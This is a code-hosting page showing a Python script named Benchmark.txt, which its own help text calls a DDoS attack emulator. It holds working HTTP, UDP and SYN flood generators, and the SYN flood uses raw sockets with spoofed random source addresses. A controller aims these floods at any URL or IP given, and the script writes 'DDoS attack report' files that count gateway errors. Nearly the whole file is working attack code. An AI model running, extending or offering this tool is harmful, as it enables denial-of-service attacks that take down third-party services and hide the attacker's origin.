/
MaximOriginal
/
Benchmark
Обзор
Документация
Войти
/
MaximOriginal
/
Benchmark
Код
Запросы
0
Задачи
Вики
Пакеты
0
Релизы
0
CI/CD
Аналитика
Безопасность
master
Benchmark.txt
544 строки
23 KB
MaximOriginal
upload files
30 май 2025, 00:11
30 май 2025, 00:11
01d7f88
Код
Авторство
О чём код?
import requests import threading import time import random import queue import psutil import socket import struct import sys import matplotlib.pyplot as plt import pandas as pd from tabulate import tabulate from io import BytesIO from reportlab.lib.pagesizes import letter from reportlab.pdfgen import canvas from reportlab.platypus import Image from datetime import datetime import os from typing import Dict, List def checksum(data): """ Подсчет контрольной суммы для IP/TCP/UDP """ if len(data) % 2: data += b'\0' s = sum(struct.unpack("!%dH" % (len(data)//2), data)) s = (s >> 16) + (s & 0xffff) s += s >> 16 return (~s) & 0xffff class TrafficGenerator(threading.Thread): """ HTTP Flood Generator — отправляет HTTP GET запросы с заданной частотой """ def __init__(self, target_url: str, frequency: float, headers: Dict[str, str], output_queue: queue.Queue, stop_event: threading.Event, thread_id: int): super().__init__() self.target_url = target_url self.frequency = frequency self.headers = headers self.output_queue = output_queue self.stop_event = stop_event self.thread_id = thread_id self.session = requests.Session() def run(self): interval = 1.0 / self.frequency if self.frequency > 0 else 0.1 while not self.stop_event.is_set(): start_time = time.time() try: response = self.session.get(self.target_url, headers=self.headers, timeout=10) resp_time = response.elapsed.total_seconds() status_code = response.status_code except requests.RequestException: resp_time = None status_code = None self.output_queue.put({ 'thread_id': self.thread_id, 'timestamp': time.time(), 'response_time': resp_time, 'status_code': status_code, }) elapsed = time.time() - start_time sleep_time = interval - elapsed if sleep_time > 0: time.sleep(sleep_time) class SYNFloodGenerator(threading.Thread): """ SYN Flood Generator — отправляет TCP пакеты с SYN флагом с максимальной скоростью Требуются права администратора """ def __init__(self, target_ip: str, target_port: int, stop_event: threading.Event, thread_id: int): super().__init__() self.target_ip = target_ip self.target_port = target_port self.stop_event = stop_event self.thread_id = thread_id try: self.socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) except PermissionError: print("[SYNFloodGenerator] Ошибка: запуск требует прав администратора (root)") sys.exit(1) def run(self): while not self.stop_event.is_set(): packet = self.create_syn_packet() try: self.socket.sendto(packet, (self.target_ip, 0)) # Нет метрик, просто считаем как удачную отправку except Exception as e: # Пропускаем ошибки отправки pass def create_syn_packet(self): # IP Header fields ip_ver = 4 ip_ihl = 5 ip_ver_ihl = (ip_ver << 4) + ip_ihl ip_tos = 0 ip_tot_len = 20 + 20 # IP header + TCP header ip_id = random.randint(0, 65535) ip_frag_off = 0 ip_ttl = 64 ip_proto = socket.IPPROTO_TCP ip_check = 0 ip_saddr = socket.inet_aton(self.generate_random_ip()) ip_daddr = socket.inet_aton(self.target_ip) # build IP header without checksum first ip_header = struct.pack('!BBHHHBBH4s4s', ip_ver_ihl, ip_tos, ip_tot_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr) # checksum ip header ip_check = checksum(ip_header) ip_header = struct.pack('!BBHHHBBH4s4s', ip_ver_ihl, ip_tos, ip_tot_len, ip_id, ip_frag_off, ip_ttl, ip_proto, ip_check, ip_saddr, ip_daddr) # TCP Header fields tcp_source = random.randint(1024, 65535) # source port tcp_dest = self.target_port tcp_seq = 0 tcp_ack_seq = 0 tcp_data_offset = 5 tcp_flags = 0x02 # SYN flag tcp_window = socket.htons(5840) tcp_check = 0 tcp_urg_ptr = 0 tcp_offset_res = (tcp_data_offset << 4) + 0 tcp_header = struct.pack('!HHLLBBHHH', tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window, tcp_check, tcp_urg_ptr) # pseudo header fields for checksum calculation source_address = ip_saddr dest_address = ip_daddr placeholder = 0 protocol = socket.IPPROTO_TCP tcp_length = len(tcp_header) psh = struct.pack('!4s4sBBH', source_address, dest_address, placeholder, protocol, tcp_length) psh = psh + tcp_header tcp_check = checksum(psh) # Repack TCP header with checksum tcp_header = struct.pack('!HHLLBBH', tcp_source, tcp_dest, tcp_seq, tcp_ack_seq, tcp_offset_res, tcp_flags, tcp_window) + struct.pack('H', tcp_check) + struct.pack('!H', tcp_urg_ptr) packet = ip_header + tcp_header return packet def generate_random_ip(self): return ".".join(str(random.randint(1, 254)) for _ in range(4)) class UDPFloodGenerator(threading.Thread): """ UDP Flood Generator — отправляет UDP пакеты с произвольным содержимым с максимальной скоростью """ def __init__(self, target_ip: str, target_port: int, stop_event: threading.Event, thread_id: int): super().__init__() self.target_ip = target_ip self.target_port = target_port self.stop_event = stop_event self.thread_id = thread_id self.sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) def run(self): message = b'X'*1024 while not self.stop_event.is_set(): try: self.sock.sendto(message, (self.target_ip, self.target_port)) except Exception: pass class Controller: def __init__(self, attack_type: str, target: str, frequency: float, headers: Dict[str, str], num_threads: int, target_port: int = 80): self.attack_type = attack_type.lower() self.target = target self.frequency = frequency self.headers = headers self.num_threads = num_threads self.target_port = target_port self.output_queue = queue.Queue() self.stop_event = threading.Event() self.threads: List[threading.Thread] = [] self.metrics: List[Dict] = [] # Resolve IP if needed self.target_ip = None if attack_type in ['syn', 'udp']: try: self.target_ip = socket.gethostbyname(target) except socket.gaierror: print(f"[Controller] Ошибка: не удалось разрешить хост {target}") sys.exit(1) def start_attack(self): self.stop_event.clear() self.threads = [] for i in range(self.num_threads): if self.attack_type == 'http': t = TrafficGenerator( target_url=self.target, frequency=self.frequency, headers=self.headers, output_queue=self.output_queue, stop_event=self.stop_event, thread_id=i) elif self.attack_type == 'syn': t = SYNFloodGenerator( target_ip=self.target_ip, target_port=self.target_port, stop_event=self.stop_event, thread_id=i) elif self.attack_type == 'udp': t = UDPFloodGenerator( target_ip=self.target_ip, target_port=self.target_port, stop_event=self.stop_event, thread_id=i) else: print(f"[Controller] Ошибка: Неизвестный тип атаки '{self.attack_type}'") sys.exit(1) t.daemon = True t.start() self.threads.append(t) if self.attack_type == 'http': self.collect_thread = threading.Thread(target=self._collector, daemon=True) self.collect_thread.start() print(f"[Controller] Запущена атака типа '{self.attack_type}' с {self.num_threads} потоками.") def _collector(self): while not self.stop_event.is_set() or not self.output_queue.empty(): try: metric = self.output_queue.get(timeout=0.5) self.metrics.append(metric) except queue.Empty: pass def stop_attack(self): self.stop_event.set() for t in self.threads: t.join() if self.attack_type == 'http': self.collect_thread.join() print(f"[Controller] Атака остановлена. Собрано {len(self.metrics)} образцов.") def get_metrics(self): return self.metrics class Analyzer: def __init__(self, attack_type: str, metrics: List[Dict]): self.attack_type = attack_type self.metrics = metrics self.process_metrics() def process_metrics(self): if self.attack_type == 'http': self.df = pd.DataFrame(self.metrics) if self.df.empty: self.df = pd.DataFrame(columns=['thread_id', 'timestamp', 'response_time', 'status_code']) self.df['status_code'] = self.df['status_code'].fillna(0).astype(int) self.errors_502 = (self.df['status_code'] == 502).sum() self.errors_504 = (self.df['status_code'] == 504).sum() self.total_requests = len(self.df) self.error_rate_502 = self.errors_502 / self.total_requests if self.total_requests else 0 self.error_rate_504 = self.errors_504 / self.total_requests if self.total_requests else 0 self.df['response_time'] = pd.to_numeric(self.df['response_time'], errors='coerce') else: # Для SYN и UDP атаки нет подробных метрик (можно добавлять если хотим) self.total_requests = None self.errors_502 = None self.errors_504 = None self.error_rate_502 = None self.error_rate_504 = None self.df = pd.DataFrame() def print_cli_table(self): if self.attack_type == 'http': summary = { 'Всего запросов': self.total_requests, 'Ошибки 502': self.errors_502, 'Ошибки 504': self.errors_504, 'Доля ошибок 502': f"{self.error_rate_502:.2%}", 'Доля ошибок 504': f"{self.error_rate_504:.2%}", 'Среднее время ответа (с)': f"{self.df['response_time'].mean():.3f}" if not self.df['response_time'].empty else 'N/A' } table = pd.DataFrame(list(summary.items()), columns=['Метрика', 'Значение']) print(tabulate(table, headers='keys', tablefmt='fancy_grid')) else: print(f"[Analyzer] Для атаки типа '{self.attack_type}' подробная статистика не собирается.") def plot_graphs(self): if self.attack_type == 'http': fig1, ax1 = plt.subplots(figsize=(8, 4)) ax1.hist(self.df['response_time'].dropna(), bins=30, color='skyblue', edgecolor='black') ax1.set_title('Распределение времени ответа') ax1.set_xlabel('Время ответа (с)') ax1.set_ylabel('Частота') plt.tight_layout() buf1 = BytesIO() fig1.savefig(buf1, format='png') plt.close(fig1) filtered_errors = self.df[self.df['status_code'].isin([502, 504])] if not filtered_errors.empty: filtered_errors['time_sec'] = filtered_errors['timestamp'] - filtered_errors['timestamp'].min() fig2, ax2 = plt.subplots(figsize=(8, 4)) for code in [502, 504]: subset = filtered_errors[filtered_errors['status_code'] == code] ax2.scatter(subset['time_sec'], [code]*len(subset), label=f'Статус {code}', alpha=0.7) ax2.set_yticks([502, 504]) ax2.set_yticklabels(['502', '504']) ax2.set_xlabel('Время (с)') ax2.set_title('Ошибки 502 и 504 по времени') ax2.legend() plt.tight_layout() buf2 = BytesIO() fig2.savefig(buf2, format='png') plt.close(fig2) else: buf2 = None self.plots = {'response_hist': buf1, 'errors_time': buf2} else: self.plots = {} def generate_html_report(self, filename_html='ddos_report.html'): timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S") if self.attack_type == 'http': html = f""" <html> <head> <title>Отчет о DDoS атаке</title> <style> body {{ font-family: Arial, sans-serif; margin: 20px; }} h1 {{ color: #333; }} table {{ border-collapse: collapse; width: 50%; margin-bottom: 20px; }} th, td {{ border: 1px solid #666; padding: 8px; text-align: left; }} th {{ background-color: #eee; }} img {{ max-width: 800px; height: auto; margin-bottom: 30px; }} </style> </head> <body> <h1>Отчет о DDoS атаке (HTTP Flood)</h1> <p><strong>Дата:</strong> {timestamp}</p> <h2>Сводка</h2> <table> <tr><th>Метрика</th><th>Значение</th></tr> <tr><td>Всего запросов</td><td>{self.total_requests}</td></tr> <tr><td>Ошибки 502</td><td>{self.errors_502}</td></tr> <tr><td>Ошибки 504</td><td>{self.errors_504}</td></tr> <tr><td>Доля ошибок 502</td><td>{self.error_rate_502:.2%}</td></tr> <tr><td>Доля ошибок 504</td><td>{self.error_rate_504:.2%}</td></tr> <tr><td>Среднее время ответа (с)</td><td>{self.df['response_time'].mean():.3f}</td></tr> </table> <h2>Распределение времени ответа</h2> <img src="response_hist.png" alt="Распределение времени ответа"> <h2>Ошибки по времени</h2> {"<img src='errors_time.png' alt='Ошибки по времени'>" if self.plots.get('errors_time') else "<p>Ошибки 502 или 504 не зафиксированы.</p>"} </body> </html> """ else: html = f""" <html> <head><title>Отчет о DDoS атаке</title></head> <body> <h1>Отчет о DDoS атаке ({self.attack_type.upper()})</h1> <p><strong>Дата:</strong> {timestamp}</p> <p>Подробный отчет для типа атаки {self.attack_type} недоступен.</p> </body> </html> """ with open(filename_html, 'w', encoding='utf-8') as f: f.write(html) print(f"[Analyzer] HTML отчет сохранен как: {filename_html}") def generate_pdf_report(self, filename_pdf='ddos_report.pdf', html_file='ddos_report.html'): c = canvas.Canvas(filename_pdf, pagesize=letter) width, height = letter margin = 50 y_pos = height - margin c.setFont("Helvetica-Bold", 18) c.drawString(margin, y_pos, f"Отчет о DDoS атаке ({self.attack_type.upper()})") y_pos -= 30 c.setFont("Helvetica", 12) c.drawString(margin, y_pos, datetime.now().strftime("%Y-%m-%d %H:%M:%S")) y_pos -= 40 from reportlab.platypus import Table, TableStyle from reportlab.lib import colors if self.attack_type == 'http': summary_data = [ ['Метрика', 'Значение'], ['Всего запросов', str(self.total_requests)], ['Ошибки 502', str(self.errors_502)], ['Ошибки 504', str(self.errors_504)], ['Доля ошибок 502', f"{self.error_rate_502:.2%}"], ['Доля ошибок 504', f"{self.error_rate_504:.2%}"], ['Среднее время ответа (с)', f"{self.df['response_time'].mean():.3f}" if not self.df['response_time'].empty else 'N/A'] ] table = Table(summary_data, colWidths=[200, 200]) table.setStyle(TableStyle([ ('BACKGROUND', (0, 0), (-1, 0), colors.grey), ('TEXTCOLOR',(0,0),(-1,0),colors.whitesmoke), ('ALIGN',(0,0),(-1,-1),'LEFT'), ('FONTNAME', (0,0), (-1,0), 'Helvetica-Bold'), ('BOTTOMPADDING', (0,0), (-1,0), 12), ('BACKGROUND',(0,1),(-1,-1),colors.beige), ('GRID', (0,0), (-1,-1), 1, colors.black), ])) table.wrapOn(c, width, height) table.drawOn(c, margin, y_pos - 140) y_pos -= 160 plot_files = [] for key, buf in self.plots.items(): if buf: buf.seek(0) img_path = f"{key}.png" with open(img_path, 'wb') as fimg: fimg.write(buf.read()) plot_files.append(img_path) for img_path in plot_files: c.drawImage(img_path, margin, y_pos - 300, width=500, height=250, preserveAspectRatio=True) y_pos -= 310 if y_pos < 120: c.showPage() y_pos = height - margin for img_path in plot_files: if os.path.exists(img_path): os.remove(img_path) else: c.drawString(margin, y_pos, "Подробный отчет для выбранного типа атаки недоступен.") c.save() print(f"[Analyzer] PDF отчет сохранен как: {filename_pdf}") def random_header_user_agent(): user_agents = [ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36", "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Safari/605.1.15", "Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/116.0", ] return random.choice(user_agents) def main(): import argparse parser = argparse.ArgumentParser(description='Эмулятор DDoS атаки') parser.add_argument('url_or_ip', help='Целевой URL (для HTTP) или IP адрес (для SYN/UDP)') parser.add_argument('--attack_type', choices=['http', 'syn', 'udp'], default='http', help='Тип атаки (http, syn, udp) (по умолчанию: http)') parser.add_argument('--frequency', type=float, default=5.0, help='Запросы в секунду на поток (для HTTP, по умолчанию: 5). Для SYN/UDP игнорируется.') parser.add_argument('--threads', type=int, default=10, help='Количество потоков (по умолчанию: 10)') parser.add_argument('--duration', type=int, default=30, help='Длительность атаки в секундах (по умолчанию: 30)') parser.add_argument('--port', type=int, default=80, help='Порт цели (для SYN/UDP, по умолчанию: 80)') parser.add_argument('--headers', action='store_true', help='Использовать случайный заголовок User-Agent для HTTP') args = parser.parse_args() headers = {} if args.headers and args.attack_type == 'http': headers['User-Agent'] = random_header_user_agent() ctrl = Controller( attack_type=args.attack_type, target=args.url_or_ip, frequency=args.frequency, headers=headers, num_threads=args.threads, target_port=args.port ) ctrl.start_attack() print(f"Атакуем {args.url_or_ip} типом '{args.attack_type}' в течение {args.duration} секунд...") try: time_start = time.time() while time.time() - time_start < args.duration: time.sleep(1) except KeyboardInterrupt: print("Прерывание пользователем.") ctrl.stop_attack() analyzer = Analyzer(args.attack_type, ctrl.get_metrics()) analyzer.print_cli_table() analyzer.plot_graphs() html_report_file = "ddos_report.html" pdf_report_file = "ddos_report.pdf" analyzer.generate_html_report(html_report_file) analyzer.generate_pdf_report(pdf_report_file, html_report_file) if __name__ == '__main__': main()